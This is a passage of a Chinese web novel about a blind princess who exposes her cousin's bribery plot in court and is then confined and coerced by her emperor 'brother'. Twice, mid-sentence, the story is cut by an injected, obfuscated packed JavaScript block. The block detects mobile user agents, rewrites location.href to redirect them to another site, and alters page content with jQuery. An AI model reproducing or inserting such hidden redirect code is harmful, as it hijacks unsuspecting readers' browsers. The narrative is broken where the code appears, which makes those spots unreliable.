三罪其一造谣污蔑,难道说的不是周嫽那个小瞎子?他可什么都没有做,好好在家里面待着就祸从天上来了;其二贿赂欺诈,那更是无稽之谈,村民韩虎爱女心切犯下的错误凭什么要他来承担;其三以下犯上——那又怎样,不过是个不成器的瞎眼公主,他父亲可是户部副使,母亲是皇帝都要给三分薄面的长辈,能拿他怎么样?
瘦得皮包骨头的韩虎被带上堂来,浑身脏兮兮的男人一眼就看到了苗大姐,不顾场合地大声嚷嚷:“贱人!贱人!”
不用玉生示意,旁边压着他的衙役二话不说踹上韩虎的肩窝,静谧无声的大堂好似能够听到骨头断裂的声音,空荡荡的衣裳瘪下又鼓起来,男人吃痛闷哼一声,不敢再说一句话。
苗大姐被吓得浑身哆嗦,不住地回头朝韩虎看过去,张姑姑不动声色拉她一把,免得这个女人又心软了要原谅丈夫。连自己的妻子都能当作物品牛马租借给他人,这样的丈夫不要也罢!反正她现在已经不需要依靠男人而活了,公主会庇佑她。
苗大姐被跪在地上韩虎阴毒狠辣的目光瞪得四神无主,手上不自觉使重了力气,惹得映洁难受地哭出来。
突兀的婴儿哭泣声引起在场所有人的注意,苗大姐连忙与和她站在一起的伍仙一起柔声哄着映洁,韩永玢却趁此发难:“表妹何苦为难小孩子,尚在襁褓里的婴儿都有着心疼老父亲的良知,你就非得拆散他们吗?哎......”他重重叹了一口气,看上去极为心痛。
“拆散?”周嫽冷笑,终于开口:“映洁是怎么来的你我都清楚,韩虎与她根本没有血缘关系,从哪里来的老父亲?”
“他妻子的孩子,如何不是他的孩子?”韩永玢反问。
“妻子?”周嫽陡然抬高声音,“映洁是在典妻期间由苗大姐生下的,那个时候她的丈夫自然是韩元天,与韩虎没有任何瓜葛才是。”她略微低头,两鬓碎发浅浅遮挡脸上的神情,只能从声音里听出愤慨:“苗大姐是我大耀子民,这一点哪怕成了亲也不会改变!然而韩虎却将悉心照顾自己照顾家庭的妻子当作物件一样买卖交易——”
“如此无情无义、寡廉鲜耻之人竟也会心疼一个没有关系的女婴,真是可笑!”
周嫽又说:“韩虎与韩元天两人藐视我大耀律法,任意买卖人口不止,又杀害无辜婴孩,这等穷凶极恶之徒若是就此放过,岂不让圣父圣母伤心,岂不是背叛大耀千千万万的百姓!”
她给韩元天与韩虎按上的罪名极重,全程紧紧揪住典妻一事义愤填膺,对于本堂最初所审理的强夺人女一案反而一句不提。
韩永玢被老母亲逼着来,路上就已思索过届时该如何对付周嫽。他当然没有信心真的给周嫽定下罪来,毕竟她是公主,要是真的因为这等小事就进了监狱,那可真是天大的笑话。
他要的是周嫽在京城里的名声越来越臭!
然而周嫽不知是不是已经放弃了自己的婚事,对自己的名声竟然毫不在意,与她身边那个咄咄逼人的侍女一起,一个唱白脸一个唱红脸,虽是没有针对他,确实把韩元天与韩虎说的好似通敌叛国一般可恶。
父亲为自己请来的讼师是京城有名的厉害人物,据说他接受的案子就没有输过。然而面对那个名叫奢雪的门外汉,竟已然露了下风。
关大人眼观鼻鼻观心,一声不敢吭。
衙门外聚集了越来越多的人,有人看热闹,有人看公主,有人可怜苗大姐母女,也有人暗自唾弃原来公主也会像个泼妇一样骂街。
关大人能够做到京兆尹的位置,经手的案子数不胜数。虽无法做到全部公正评判,不偏不倚,但该有的审时度势能力还是能够甩出旁人一大截。
公主贤明早有耳闻,关大人从前还一直觉得公主是在做样子,今日一见才知晓原来真的有这样傻的人。一个未出阁的女子,抛头露面,当堂大骂,不为自己争权夺利,反而为了个乡野村妇鸣不平。
这场几乎引来全京城人观看的堂审最终以韩虎、韩元天斩首为终结——
“不!”奢雪从座位上站起来,双目明明犹有火焰在燃烧,她昂首挺胸,面对一屋子男人与凶狠的韩永玢不露分毫怯意:“大人莫非也是欺软怕硬、徇私枉法之人么!恶人当斩,我家公主受的委屈也得讨回来!”
她怒指韩永玢:“韩永玢贿赂韩虎污蔑公主,也当受罚!”
韩永玢怒不可遏:“胡言乱语!本公子莫不是闲的,还能做出这样幼稚可笑的事来?更何况公主是我表妹,我无论如何也不会伤害自己的亲人!”他一副不可置信的样子,嗤笑:“公主口口声声说我污蔑你,我看分明是你在纵容手下污蔑我才是!”
他甩袖向京兆尹作揖,目光却是像淬了毒一般恶狠狠盯着奢雪:“大人可要为我做主呀!当真是反了天了,现在一个奴才都能随便造主子的谣了!”
奢雪并不畏惧,将伍仙叫上前来,又命人带来李寡妇、小厮与韩元天的媳妇杨巧姐。
韩永玢身上的悠然自得在听到杨巧姐自我介绍的那一刻消失殆尽,他不可置信地盯着杨巧姐,千算万算没有想到杨巧姐竟然愿意帮着一个外人去对付自己的丈夫。
奢雪精明能干,思维逻辑很是清晰,三言两语将韩永玢贿赂韩虎一事大致交代一番,随后便用鼓励的眼神看向另外三人。
伍仙这几日常常跟在公主身边做事,从奢雪与横雨两位姑姑身上学到的东西数不胜数,短短还没有一个月的时间,就已然从之前那个安于现状的怯懦小姑娘成长为能够独当一面的大人了。她接过奢雪姑姑的话头,配合着李寡妇把那日抓获小厮的情形缓缓道来。
最为出彩的是李寡妇,虽然主要是伍仙讲,她在一旁配合着做补充,可看上去却比伍仙这个公主府里的丫鬟还要冷静沉着一些。甚至在伍仙被韩永玢瞪得紧张卡壳时还能不慌不忙地代他说下去,然后不动声色地又把话语主导权递还给伍仙。
韩家的小厮惶恐不安地跪在地上,一会看看玉生的眼色,一会又偷瞄韩永玢,然后害怕地缩起身体,战战兢兢吐不出一句话。
关大人看着玉生不耐的脸色,让人把小厮拉下去打了五十大板。其实这样的举措已经表明韩永玢确实贿赂了韩虎去状告公主。
接下来发言的是杨巧姐。
杨巧姐是两日前被奢雪拉过来的。
自从韩永玢派人送来钱财,并且警告他们不能乱说后,杨巧姐便预料到危机将近。无功不受禄,他们一家人能对韩公子做出来什么功,巨额钱财只能是赔偿。尤其是知晓了韩虎击鼓鸣冤喊公主强夺人女后,她就整宿整宿地睡不着觉,每日担惊受怕,毕竟她很清楚公主是无辜的,孩子是自己亲手送去幼女院的。
于是在一天晚上,她见到几个衣着华贵,身手了得的男人闯进家里捉拿前来通风报信的小厮,并且又在第二天捉拿了自己的丈夫后,她就打算收拾韩公子之前送过来的钱带着孩子逃跑了。
可被李寡妇拦住了。
李寡妇说让她投靠公主,还说公主是很好的人,跟着她准没有错。
杨巧姐没好气道:“我大字不识几个,啥也不懂,公主凭什么要我?”
李寡妇只是幽幽开口:“只要你愿意留在公主身边,公主就会要你。”
其实她一个女人,又带着孩子与那么多钱,自己往远地方跑也害怕。于是便在李寡妇的劝说下半推半就留了几天,果不其然等到了找上门的奢雪。
“是韩公子拿给我们一笔钱,说是让我们瞒下把映洁送去幼女院的事,又让我们......不,我丈、让韩元天劝韩虎去告公主。”她磕磕绊绊讲出事情始末。
与此同时,派去搜查韩元天家的衙役也抬着一箱银子进来了。
人证物证俱在,周嫽确实是被韩永玢冤枉的。
“你——”韩永玢气得直跳脚,指着杨巧姐大骂她不要脸,为了钱连自己的丈夫都背叛。
“公主可没给我一分钱!”杨巧姐也是个虎的,竟然就这么与韩永玢对骂起来。
韩永玢一个娇生惯养的小少爷哪里骂得过常与贱男人打交道的杨巧姐,很快就被她骂的脸红脖子粗气得说不出话来。
周嫽一行人皆没有言语,静静等待杨巧姐回骂完。
“如此,还望关大人明断。”周嫽朝着主位的方向抬起头来,虽然没有睁开眼睛,却让关大人直觉如芒在背,好似被人死死盯着一般,一时动弹不得。
他搓了搓汗湿的手心,试探地开口:“韩公子此事做的确实不对了,公主您看该如何处置呢?”不待周嫽说话,他又自顾自说下去:“公主真是受委屈了,不若将此事交给陛下来评判,陛下一向疼爱公主,想来定会还公主一个公道的。”
落地无声。
关大人怔愣片刻,立即意识到自己说错话了。
“关大人。”周嫽的音色相较于旁的女子本就冷硬些许,此时面无表情开口,更叫人怕的慌,“诽谤者,讹言惑众,罪可斩首
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423065|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“荒谬!”韩永玢大喊,他大步流星来到周嫽面前,还未开口便有“啪”一声响在自己脸上。
他愣愣地捂着被扇得立刻肿起的的脸,不可置信地望着挡在周嫽面前的玉生,喃喃道:“混账东西,你疯了吗?”他怒急攻心,另一只手盖住胸口咳了两声,抬起手便要打回去,下一秒又被玉生扇了右脸。
砍头?扇巴掌?
这对主仆莫不是把自己当皇帝了!就连陛下身边的近侍公公都是要给自己行礼的,他一个公主的奴才竟然还敢打自己!
玉生收回手,掸了掸袖子,“韩公子还是认清身份的好,公主是主子,咱们都是奴才。”这话既是说给韩永玢听,也是讲与关大人。
看公主大架势就知道此事无法大事化小,只是砍头这样的大刑绝不是关大人这种小人物能够决定的,况且那可是东河郡主的孩子,他都要怀疑公主与韩永玢两人是不是借着此案解决私人恩怨了。毕竟谁人不知要论京城里最讨厌公主的人,韩永玢论第二那就没人敢认第一。
他擦了擦额上因为公主那句“罪可斩首”吓出的冷汗,实在想不出自己到底造了什么孽要被卷入皇室之间的争斗。罪可斩首是什么意思,造谣诽谤罪严重的话可以砍头——但这说的是那些传播广泛严重危害国家安全的啊,她一个公主不过是受了点无关紧要的委屈,凭什么要为了她去杀害朝臣之子。
关大人越想越觉得公主在无理取闹,于是大着胆子上前说这样不妥,还望公主三思。语气那叫一个小心谨慎,毕恭毕敬,生怕惹急了这个疯疯癫癫的公主,引火上身。
谁料公主铁了心坚持要砍韩永玢的头谢罪,任凭韩永玢怎样发火,关大人如何恳求都不为所动。
那么这件事只能上报朝廷了。
大臣们知晓后先是震惊这位福瑄公主竟然如此蛮不讲理,随后涌上心头的就是对于无理者的藐视,只觉得周嫽可笑至极。然而不待他们在朝堂上哈哈大笑,陛下就拍案而起,让人立即捉拿韩永玢。
众人这才想起来当今圣上与福瑄公主是一母同胞的兄妹,关系不是一般的好。可关系再怎么好也不能拿人命当儿戏呀!正当他们想要借机规劝圣上时,忽而想起这位新帝还真是个视人命如草芥的疯子。几月前宣政殿流的血依旧藏在砖缝里,深夜里,寂寥月光的照耀下,好似有冤魂在哭号。
重臣多已换过血,唯新帝马首是瞻,而那些皇帝都懒得管的臣子们,自然也都是翻不出浪花的小虾米。不过还是有几位换代时极能够审时度势,又威望颇高的老臣在朝堂上顺利从前朝来到今朝,位置不曾下去过的。
被大家推举出来那位首当其冲的勇士——事实上他也是真正的勇士——御史大夫何悬梁何大人。
一把山羊胡的白发老人跪在龙椅下方,脊背挺得笔直,目有精光,神容熠熠,俨然一副千古忠臣的样子。他先是义正言辞指出了韩永玢此举不是君子所为云云,接着又长篇大论批判福瑄公主不识礼法,任性妄为。虽未直言辱骂周嫽,却胜似骂她。并要求剥夺周嫽大长公主的称号,按照皇帝亲妹该有的规制予以正确册封。
说起“福瑄大长公主”,这又是朝臣们私下里看不上这位新帝的一个原由。
自古以为只有皇帝的姑母才能尊称一句大长公主,周嫽一个和皇帝平辈的人叫大长公主,成何体统!当初礼部说尽好赖话想要阻止,然而这个新帝一沉下脸实在是太吓人了,加上礼部尚书又是个胆子小的怂货,只好乖乖闭上嘴巴安排上去。
韩云洲见到有人愿意为自己的亲儿说话,顿时喜不胜收。这几日他们一家人真是被福瑄公主闹得鸡犬不宁,偏偏他那个没用的郡主妻子还不肯出言相劝,从中调和,可是把他气得不轻。
有老臣何大人愿意当出头鸟与领头羊,剩下依附他与韩云洲的大臣们也纷纷站出来反驳公主。其中不乏有许多想要借机调和如今过分压抑的君臣关系的人混入其中,他们早就看不惯新帝的肆意妄为了,皇帝越专权霸道,他们这些做大臣的就越喘不过气。
高坐九龙御座上的皇帝压下浓眉,冷冷望着下面乌泱泱跪下去的一片人,脑子里想到却是过去那个温顺可人的妹妹。
他真是看不懂周嫽想要干什么了。
皇帝原本就说过不会杀韩永玢,只是给他一番教训,毕竟那是东河郡主的孩子,是自己的表弟,若是真的因为这等小事杀人,那他本就臭的不行的名声恐怕会直接掉入粪坑。岂料这群人故意跟自己对着干,他是皇帝,是九五至尊,是这大耀的主人,现如今竟连惩罚个人都办不到了。
若是周嫽一开始就提出对韩永玢略施惩戒,想来也不是什么难事,可她上来闹着砍韩永玢的头,这让大臣们起了逆反心理,绝不能遂了刁蛮公主的愿。
皇帝猜想自己这个妹妹是在报复曾经韩永玢对她的欺辱。
父王与先帝还在时,东河郡主每每带着韩永玢出入皇宫,嫽儿就要经受他的侮辱。可惜从前的他对这个妹妹不甚关心,后来的他想关心也没有那个能力,如今自己有了能力,却依旧无法为妹妹报仇。
他闭上眼睛,下面已经吵了许多天,公主无理取闹砍表哥头的事迹也传遍京城的大街小巷,此事必要尽快解决。
随着“公主无理取闹砍表哥头”一起被众人当作茶余饭后谈资的,还有韩虎典卖妻子、村丫头进了幼女院摇身变凤凰、势力婆子为钱背叛丈夫等等引人惊叹的话题飞速蹦在百姓嘴边。
公主到底想干什么?
公主什么都不想干,公主只是想为自己讨个清白。
可是大家都已经明白公主从未强夺人女,这一切都是韩永玢的计谋呀!大家都清清楚楚的,公主自然也是清清白白的,为何还要步步紧逼,不肯松口呢?
人人都知当今圣上是最宠爱公主的,公主不放手,皇帝自然也不会收回命令。
到底怎样才能让公主觉得自己的清白已经被证明了呢?
众人无法,于是公主终于说:“说到底是因为映洁在本宫这里没名没份的,才被表哥逮住机会说成是强夺人女,要是陛下能让幼女院的孩子们都有正经的户籍,那她们就与平常孩子无异,待在本宫身边也就是合礼法的了。”
这有什么!把她们送去孤独院不就行了!然而大臣们转念一想,孤独院里都是金贵的男孩们,他们都是要好好培养将来为国家办事的苗子,哪里能把无甚用处的女孩们送进去。再说了,照着福瑄公主固执的性子,要是真的把所有无父无母无家可归的女孩送进孤独院,那人数可不是一般的大,又得需要大笔拨款过去了。
还是放进幼女院吧。
沉默了数日的刑部尚书终于发话,直言不若叫韩永玢将功抵过,每年拿出固定银钱捐赠幼女院供其开支。
这是个好主意!
16. 第 16 章
一切尘埃落定,幼女院众人都很高兴,张姑姑设宴陪女孩子们尽情玩耍享乐一番,席间王芳兰绘声绘色地向众人讲述着周嫽是如何与那韩永玢和老迂腐们斗智斗勇的故事,引得大家不断拍手叫好。
杨巧凌与苗惠荣——便是原先的杨巧姐与苗大姐,这是横雨为她们选的名字。两个人有了新名字,也有了新的可依靠的人,只恨自己怎么没能早点遇上公主,早日过上舒心的日子。
自打幼女院被官府承认,成为记录在册的官方机构,上上下下里里外外都忙活了起来,于是杨巧凌与苗惠荣便留在了幼女院干活,正好也能照顾年幼的映洁。而映洁也有了自己的姓氏,叫苗映洁。
这边欢声笑语喜气洋洋的氛围没有人愿意破坏,无人知晓隔了一条街的皇宫内院,便是皇帝休憩的重华宫前,正跪着她们口口称赞的公主殿下。
周嫽不知自己究竟跪了多长时间,她卯时便被宫里人请来这里,被那个阴毒的男人按着双肩跪在地上。后来他去上朝了,便再也没有听见过他的动静。
玉生不知道被带去了哪里,她看不见天,于是也不知道现在是什么时辰。但是从饥肠辘辘的肚子和由凉转热又转凉的温度大约能推测出来她也许在这跪了一整天。
膝盖已经没有知觉了,但周嫽还记得大约一两个时辰前那股刺痛的感觉,痛彻心扉,像是有一个线拉扯着膝盖上的骨肉往胸口去,又狠狠撞击心脏,疼的她泪流满面。
汗水早已经浸湿衣裳,湿漉漉的发丝被深秋的冷风吹干,一时竟让周嫽无法辨别是自己双膝的疼痛穿破了那一层厚厚的麻痹,还是冻得骨头在发疼。
有些困了,周嫽都为自己还能直挺挺跪在这里感到神奇,她迷迷糊糊想,一定是从前苏扶楹常常让她锻炼动来动去,也强健了自己的体魄。
“嫽儿。”
“嫽”字拉长,连“儿”字尾音都要转个弯,周翰总是用他好像含着冰的阴冷嗓音这么喊周嫽。
周嫽忍不住浑身打了个哆嗦,手下使劲掐了一把自己的大腿,强撑着打起精神,挺直腰板。
一顿一顿的脚步声慢悠悠从远处传来,声音逐渐加大,像是踩在周嫽的神经上,她的太阳穴忽然突突跳起来。以为男人还要一小段路走过来,她费力撑起身体,然而下一秒——
冰凉滑腻的手掌骤然覆上后脖颈,周嫽再也受不住般,登时吓得往前倒去,却被男人另外一条胳膊扶住。被躲开的手掌再一次盖在周嫽的脖颈上,这回手掌蛇一般缓缓向上移动,钻进长发中,停在周嫽的头皮上。
挡在身体前方不让周嫽倒下去的那只手臂移开,转而从后方环住她的双肩,于是她被迫靠在男人身上。
这般屈辱的姿态气得周嫽嘴唇都在颤抖,她想要逃离,却被男人紧紧箍住身体,动弹不得。
“嫽儿知道错了吗?”男人居高临下的询问也好似毒蛇一般,被冷风带着灌进周嫽耳朵里。
她从来不和周翰硬碰硬,抖着声音认错:“知、知道了,嫽儿知道错了。”
“哦?”周翰捏着周嫽后脑勺的手微微用力向上提,周嫽双膝被迫脱离地面,浑身都靠在他身上。她痛苦地叫出声,垂在身侧的双手握紧成拳,指甲几乎嵌进血肉里才强忍住还手的冲动。
男人弯腰凑近周嫽耳边,冰凉的吐息喷洒在脸颊上,她一时不知道到底是秋风冷些,还是他的吐息更冷。
“那嫽儿说说,自己错在哪了?”
周嫽铁了心不说幼女院一个字,坚持清晨的答案:“......嫽儿不该闹事。”
良久的沉默。
院子里没有一棵树,周嫽却仿佛听到了秋风吹动树叶簌簌作响的声音。久久没能得到周翰回应的周嫽开始走神——只有这样能够稍微安慰她的恶心与疼痛。她开始搜寻这簌簌的声音是从哪里传来,可惜还未等她找着,周翰便开口了。
他先是叹了一口气,像从前无数次一样装作对“任性”的周嫽无可奈何的模样,然后幽幽说:“哥哥得惩罚嫽儿。”
他一把抱起周嫽把双腿失去知觉的女子放在床上,恭候已久的太医立刻上前为她诊治。
腿上敷了伤药,周嫽原本被麻痹的神经一下子被唤醒,彻骨的疼痛裹袭全身。如果此刻周嫽睁开眼睛,周翰一定能从自己眼中“不听话但柔弱可欺”的妹妹眼中,看到对自己滔天的恨意。
周翰一点点掰开周嫽攥紧被褥的手,捧住她刻了四个指甲红印的手掌,小心吹着气,“疼怎么不说呢?”
装模作样!
周嫽不知道是不是周翰用了什么药,她现在困得很。她抽回手,尽量驱散脑海中的睡意,问:“玉生呢?”她放柔了声音,低声下气请求:“哥哥,嫽儿很累,让玉生过来服侍我吧。”
周翰却再次握紧她的手,这下连手心也传来钻心的疼痛,男人语气夸张地说:“嫽儿累了?哥哥也能服侍嫽儿的!不比那个那个死太监差半分!”
周嫽厌恶至极,不想再搭理周翰,拉起被子蒙头就睡。
这一觉睡了许久,周嫽是被饿醒的。她脑袋沉沉地坐起身,问扶她起来的宫女:“现在什么时候了?”
宫女小心回答:“辰时了。”声音很耳熟,周嫽想了一会才记起来这是周翰身边的大宫女,唤作铁离。
她竟然一觉睡到了第二日大上午。
见周嫽挣扎着要起来,铁离又说:“公主夜里发热,这会还未退下去,陛下吩咐了让公主好生在床上养病。”
周嫽不耐烦:“本宫要更衣!”
由铁离伺候着洗漱完毕,周嫽直言自己没有玉生吃不了饭。
女人似乎也没想到这一茬,回忆起从前在宫宴远远见到福瑄公主,皆有玉生在身边服饰。她很是为难,“奴婢为公主布菜吧。”
周嫽不依不饶,非说自己没有玉生手把手喂就吃不下饭,又故作伤神,自我厌弃,一副很受打击的模样。
铁离无法,只好派人将此事告与陛下。
不过须臾,周翰便匆匆赶来,他一进屋便将坐在床上的周嫽搂在怀里,伸出手摸了摸她的脑袋,唉声叹气:“怎得还是那么烫。”
周嫽想自己大抵是真的病了,浑身软绵绵的没有力气,想来是昨日被冷风吹的。受了这样的苦她却不能够发作,只能忍气吞声道:“哥哥,还请放了玉生。他自幼服侍我长大,我实在不能没有他啊。”她攥住周翰的衣领,低声请求:“前段时候是嫽儿错了,嫽儿不该惹是生非,让哥哥为难了是嫽儿的不是。可玉生是我的奴才,要打要罚也该由我教训才是,哥哥就放了他吧。”
她感受到周翰的滑溜溜的手抚上自己热气腾腾的脸,触感更加冰凉了。她不适地想要躲开,却被周翰追着捏紧下巴。
“嫽儿当真心疼奴才,什么时候你待哥哥能有那奴才一半好就够了。”
“哥哥这说的什么话。”周嫽勉强笑了笑:“您是九五至尊,怎么还跟个奴才比上了。”她努力使自己显得深情又真诚:“您是嫽儿的哥哥,是嫽儿在这世间唯一的亲人了,任何人都无法与哥哥比较的。”
“是吗。”周翰终于放开了周嫽,却是开始摆弄她鬓边发丝,无所谓的语气像是在告诉周嫽今日的天色,“可我们也不是亲兄妹呀。”
霎时间——
浑身血液逆流,汗毛倒竖,周嫽的手脚瞬间变得冰凉,难以控制地抖动起来。她脸上的笑容险些挂不住,像是不明白男人什么意思般歪了歪头,“哥哥在说什么啊?”说罢,她猛地反应过来,下意识大声喊出:“铁离!”
“放心。”周翰语音调笑,似乎觉得周嫽紧张兮兮的模样十分可笑,“她早就出去了。”
周嫽和周翰不是亲兄妹,这是只有他们与玉生知晓的秘密。
她不知道周翰此时突然提起这个想要做什么,这让她惊慌失措,惴惴不安。原因无他,周翰是真皇子,她是假公主。一旦这个十六年前的皇室秘闻被戳破,周嫽必定受万人唾弃,甚至死无葬身之地。
这是周嫽极力掩藏的狐狸尾巴,也是周翰能够轻而易举拿捏自己的有力武器。
她终于安静下来,不再吵着闹着要玉生,就着周翰手开始乖乖喝药吃饭。
男人黑漆漆的眸子一眨不眨盯着身边温驯乖巧的女子,看她静静咽下自己喂到嘴边的饭菜,眼底浮现满足的笑意。
周嫽这几天一直待在周翰身边养病,期间多次打听玉生的动静,都被男人一点也不巧妙地转移话题,他甚至不屑于骗骗周嫽。没有办法,她只能寄希望于铁离,至少要得知玉生是生是死。
耐不住周嫽软硬兼施的骚扰,铁离最终还是在周嫽再三保证绝不告诉周翰后,隐秘透露出来玉生还活着的消息。
这哪够啊!
周嫽天天陪在周翰身边,难免有些心浮气躁。她看不见,还要在殿内来回踱步,引得铁离一颗心提起放下又提起来。
“公主腿上的伤尚未好透,还是先歇歇,养病为先呐。”铁离走过来想要扶着周嫽,生怕她哪里磕着碰着了,却被周嫽甩开。
“本宫担心玉生,养不下去病。”周嫽什么都看不见,没有玉生当她的眼睛,她第一次无比清晰认识到自己是个瞎子的事实。不仅是瞎子,还是个没用的废物!什么都做不了,脾气也不敢发,只能任人磋磨!
铁离急切看着来回快速踱步的女子,退而求其次:“公主要是心里不舒坦,奴婢陪您去外面走走吧。去外头慢慢走走,就当是散心了,也不会伤着腿。”
周嫽深呼吸一口气,明白自己这么干着急也没有用,倒不如去外面,冷风吹一吹脑子也清醒些。她由铁离小心搀扶着走到院子里慢悠悠走着,愁闷的几日养病生活确实叫人打不起精神来,不过是在外面走一走,她便觉得呼吸都顺畅了不少。
这几日萦绕在周身的药味被凉风吹散些许,今日约莫是晴天,暖阳洒在周嫽脸上,并不叫人觉得寒冷。
她们走了一会儿,周嫽便又听见了那日簌簌的声响,她问铁离:“重华宫又栽了树吗?”之前周翰血洗皇宫时这间宫殿的树木都染了血,男人不喜欢,就都给拔了。
铁离一愣,不知道周嫽怎么问出这样的问题,如实回答:“未曾。陛下总说看了烦心。”
周嫽细心听了一会,那声响不远不近,仍没有断绝,“你可听见什么声音?”
铁离四周看了看,“没有,公主可是听着什么奇怪的声音了?”
周嫽十分确认:“嗯......有风吹树叶的声音。”
“风吹树叶?”铁离思索片刻,恍然大悟:“公主说的是李小将军吧!”她解释道:“公主不是在这住下了嘛,陛下担心有邪祟缠身打搅公主养病,便叫来了李小将军抱着六道木树枝守在重华宫外,为公主驱鬼辟邪,保佑平安。”
周嫽听了,顿时气不打一处来。周翰这是什么意思,杀人放火的是他,逼宫谋反的也是他,邪祟要缠也该是缠在他身上才是,与周嫽有什么关系。就算没那劳什子的六道木,她也会平平安安无灾无难的,周翰这么做不是平白咒人吗!
“本宫不需要!”周嫽没好气地说,“叫那人把树杈子拿远点,本宫又没犯什么错哪里会招来邪祟!”她嫌弃不吉利,让铁离赶紧把那个李小将军赶走。
铁离又是为难,她不过是个小小的侍女,如何能够罔顾陛下的意思呢。哪怕知道陛下疼爱福瑄公主,她作为奴婢也自然应该事事以陛下的命令为主。只好十分牵强地宽慰:“公主莫恼,陛下也是关心公主,没有别的想法。”
周嫽闭唇不语,过了会儿才说:“让他过来。”
铁离不好这点小事都拒绝,扬声朝外头喊:“小将军,公主召您呢!”
坚实有力的步伐很快逼近,周嫽端正姿态,每一回便听见一道十分具有穿透力的少年音——
“臣李堪,拜见公主殿下,公主万福金安。”
周嫽小心上前一步,缓缓伸出手。铁离不明所以,看了看李堪又看眼公主,连忙扶着公主那只手放在六道木树枝上。
“你起来吧。”公主这么说着,手却没有放下来。
于是李堪只好抱着树木身子朝后面仰去,再慢慢站起来,小心不让枝叶扎到公主。
也是少年这么一仰,才叫终于让铁离瞧见他几日来始终被挡在六道木树丫后的脸庞。
哪里是上战场杀敌的小将军,分明是个白里透红,清俊优美的小公子!
铁离不由得多看了他几眼,直到公主捏了捏她的手,方才回过神来,“公主有何吩咐?”
周嫽微微一笑:“方才你说祛除邪祟,倒是提醒本宫了。”分明看不见,可她还是精准找到了铁离所在的方位,将头转过去时,让铁离不由得产生了一种被公主注视着的奇异感觉。只听得女子将计划娓娓道来。
原来公主忧心陛下被邪祟缠身,于是想到用这六道木为他做个龙雕放在床头,如此不仅能够净化那些不干净的东西,也是公主日日夜夜盼着陛下好的一番心意。
知道铁离犹豫,周嫽笑着补充道:“用不了这么大一根木头,烦请李将军为本宫砍下来一些吧。”她也不去管铁离是否同意,直接吩咐李堪该如何做。
而那李堪也是个憨傻的,公主话音落下不过片刻,他便二话不说提剑削去一块好木,弯腰恭敬地递给周嫽。
铁离阻止不能,无可奈何叹了口气,只好由着这位难伺候的主子来了。
周嫽又叫人找来刻东西的各项工具,也用不着铁离伺候,搬个板凳坐在屋檐下便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545911|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻了起来。
她刻东西时很是专注,手上边摸边划,手指动起来简直眼花缭乱。伺候公主这么长时日,铁离还是头一回见公主这么安静,心底那点对李堪不听她指示的埋怨也消去了些。
三人一位静静坐着刻东西,一人好奇地歪头看那刻东西的人,另外一个人则怀抱着粗大的六道木矗立在院子中央,犹如守护雕塑一般。
没有周翰,一时也算得上岁月静好。
待到四方天空的光亮渐渐褪去,黄昏便来临了。火焰燃烧般的夕阳染红了大片的云朵,李堪的影子被拉的老长,他抱着六道木枝丫,影子便真的像一棵树。树顶的影子以极缓慢的速度向前攀爬着,直至将那认真做事的女子全部笼罩在树荫里。
李堪很想移开,继续使她被阳光浇灌,可他不敢有任何动作。
“李堪。”名字突然被公主喊出来,小小年纪便杀人无数的李堪此时称得上害怕,他浑身一紧,喉结滚动两下,努力压制颤动的嗓音:“公主请吩咐。”
他听见女子带着笑意的声音,像羽毛一样轻飘飘的,“往旁边站点吧,本宫有些冷,想晒晒太阳。”
铁离立马说:“奴婢给公主拿件衣服。”
周嫽快结束了,手上动作没听,只是轻轻摇了摇头:“不必,还没冷到要添衣裳的地步。”她笑了一下,“我晒晒太阳就好。”
公主都这样说了,铁离只好作罢,她冲要往院子边缘去的少年说:“小将军,您先下去吧。”
那位叫李堪的小将军身形僵硬了一瞬,不过铁离觉得是自己看公主的手看眼花了,抱着树的少年很快退到门口,继续守着。
也不知道周翰今日做什么去了,一整天都不在。周嫽怀抱着用布包裹的龙雕睡了一晚,等到第二日还是没见到周翰。这一天她缠着铁离想让女人帮自己出去,然而在正经事上女人绝不马虎,态度恭敬却又十分强硬地让周嫽留在重华宫。
这让周嫽产生了一种自己是一只被关禁起来的金丝雀的感觉,在于铁离争执的过程中,她忽然想到了苏扶楹。苏扶楹当年是否也是跟自己一样的处境——不,苏扶楹可比周嫽要惨得多。至少周嫽还有铁离愿意陪自己说话,无聊了也能要来许多玩意解闷。
而苏扶楹那样憋闷的生活过了整整九年。
周嫽忽然安静下来,不再说什么了。她明白只要周翰还是皇帝的一日,自己就绝不可能逃离他的手掌心,再怎么挣扎都是无用功。
待到第四日,周嫽才等到姗姗来迟的周翰。令人惊喜的是,玉生也跟着一齐到来了。
“公主!”玉生带着哭腔,想来是知道周嫽这段时间受委屈了。
“玉生!”周嫽猛地站起身来,朝着声音传来的方向伸出双手,接住她的确实恶心人的周翰。
“嫽儿。”周翰扶着周嫽的双肩,带着她坐回床上去,语气歉疚:“对不住,哥哥这几日没有抽出时间陪伴嫽儿。”
只要周翰肯让玉生出现在自己面前,周嫽便知道男人这是要放自己走的架势。她只能吞下这段时间的怨恨与不满,十分善解人意道:“哥哥是皇帝,自然要忙碌些,哪能一直待在嫽儿身边。”无法得知外面世界让使周嫽觉得不安,她不动声色探听:“可是朝堂里那些人又来骂嫽儿了?”她眉头皱起,很是羞愧的样子:“是嫽儿让哥哥为难了。”
